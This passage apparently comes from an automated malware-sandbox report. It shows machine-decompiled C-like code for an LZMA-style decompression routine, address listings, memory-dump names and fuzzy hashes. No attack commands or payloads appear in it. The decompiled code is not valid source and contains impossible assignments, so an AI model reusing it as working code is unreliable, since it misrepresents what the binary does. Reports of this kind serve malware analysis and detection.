												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406473
0x00406473
0x00406477
0x00406498
0x0040649f
0x004064a5
0x004064ab
0x004064bd
0x004064c3
0x004064c8
0x00000000
0x00406479
0x0040647f
0x00406840
0x00406840
0x00406840
0x00406843
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00000000
0x00406840
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x004068bc
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406843
0x00406840
0x00000000
0x00406477

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction ID: ed496f49c15cb1a0cee1f91230a4d4bd76d3fd25087baa69d2252d5f7e71f344
Opcode Fuzzy Hash: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction Fuzzy Hash: 30713271E00228CFDF28DFA8C8547ADBBB1FB44305F15806AD906BB281D7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406591, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406591() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
